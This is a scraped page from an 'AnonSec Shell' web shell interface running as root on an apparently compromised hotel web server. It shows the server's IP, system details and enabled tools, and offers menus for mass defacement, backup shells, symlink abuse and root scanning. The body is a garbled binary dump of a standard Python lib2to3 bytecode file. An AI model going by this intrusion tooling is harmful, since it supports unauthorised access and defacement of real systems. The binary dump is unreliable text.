AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/root/usr/lib/python3.10/lib2to3/pgen2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/root/usr/lib/python3.10/lib2to3/pgen2/__pycache__/driver.cpython-310.pyc
o

��bc!�@s�dZdZddgZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZm
Z
Gdd�de�Zd	d
�Z		ddd�Zdd�Zdd�Zdd�ZedkrXe�ee���dSdS)zZParser driver.

This provides a high-level interface to parse a file into a syntax tree.

z#Guido van Rossum <guido@python.org>�Driver�load_grammar�N�)�grammar�parse�token�tokenize�pgenc@sHeZdZddd�Zddd�Zddd�Zdd	d
�Zddd�Zdd
d�ZdS)rNcCs&||_|durt��}||_||_dS)N)r�logging�	getLogger�logger�convert)�selfrr
r�r�+/usr/lib/python3.10/lib2to3/pgen2/driver.py�__init__s

zDriver.__init__FcCs�t�|j|j�}|��d}d}d}}}}	}
d}|D]�}|\}}}}	}
|||fkr]||f|ks;J||f|f��|\}
}||
krO|d|
|7}|
}d}||kr]||
||�7}|}|tjtjfvry||7}|	\}}|�d�rx|d7}d}q|t	j
kr�tj|}|r�|j�
dt	j|||�|�||||f�r�|r�|j�
d�|jSd}|	\}}|�d�r�|d7}d}qt�d||||f��)	z4Parse a series of tokens and return the syntax tree.rrN��
z%s %r (prefix=%r)zStop.zincomplete input)r�Parserrr
�setupr�COMMENT�NL�endswithr�OP�opmapr�debug�tok_name�addtoken�
ParseError�rootnode)r�tokensr�p�lineno�column�type�value�start�end�	line_text�prefix�	quintuple�s_lineno�s_columnrrr�parse_tokens&sZ


�
�
�
�zDriver.parse_tokenscCst�|j�}|�||�S�z*Parse a stream and return the syntax tree.)r�generate_tokens�readliner-)r�streamrr rrr�parse_stream_rawVszDriver.parse_stream_rawcCs|�||�Sr.)r2)rr1rrrr�parse_stream[szDriver.parse_streamcCs@tj|d|d��}|�||�Wd�S1swYdS)z(Parse a file and return the syntax tree.�r)�encodingN)�io�openr3)r�filenamer5rr1rrr�
parse_file_s
$�zDriver.parse_filecCst�t�|�j�}|�||�S)z*Parse a string and return the syntax tree.)rr/r6�StringIOr0r-)r�textrr rrr�parse_stringdszDriver.parse_string)NN)F)NF)	�__name__�
__module__�__qualname__rr-r2r3r9r<rrrrrs


0

cCs:tj�|�\}}|dkrd}||d�tttj��dS)Nz.txtr�.z.pickle)�os�path�splitext�join�map�str�sys�version_info)�gt�head�tailrrr�_generate_pickle_namejsrL�Grammar.txtTFcCsd|durt��}|durt|�n|}|st||�s'|�d|�t�|�}	|St	�
�}|�|�|S)z'Load the grammar (maybe from a pickle).Nz!Generating grammar tables from %s)r
rrL�_newer�infor	�generate_grammar�dump�OSErrorr�Grammar�load)rI�gp�save�forcer�g�errrrqs
	�
cCs8tj�|�sdStj�|�sdStj�|�tj�|�kS)z0Inquire whether file a was written since file b.FT)rArB�exists�getmtime)�a�brrrrN�s
rNcCsFtj�|�r
t|�Sttj�|��}t�||�}t�	�}|�
|�|S)a�Normally, loads a pickled grammar by doing
        pkgutil.get_data(package, pickled_grammar)
    where *pickled_grammar* is computed from *grammar_source* by adding the
    Python version and using a ``.pickle`` extension.

    However, if *grammar_source* is an extant file, load_grammar(grammar_source)
    is called instead. This facilitates using a packaged grammar file when needed
    but preserves load_grammar's automatic regeneration behavior when possible.

    )rArB�isfilerrL�basename�pkgutil�get_datarrS�loads)�package�grammar_source�pickled_name�datarXrrr�load_packaged_grammar�s
rgcGsB|s	tjdd�}tjtjtjdd�|D]	}t|ddd�qdS)z�Main program, when run as a script: produce grammar pickle files.

    Calls load_grammar for each argument, a path to a grammar text file.
    rNz%(message)s)�levelr1�formatT)rVrW)rG�argvr
�basicConfig�INFO�stdoutr)�argsrIrrr�main�s�ro�__main__)rMNTFN)�__doc__�
__author__�__all__r6rAr
r`rGrrrrrr	�objectrrLrrNrgror=�exit�intrrrr�<module>s(M
�	
�

Anon7 - 2022
AnonSec Team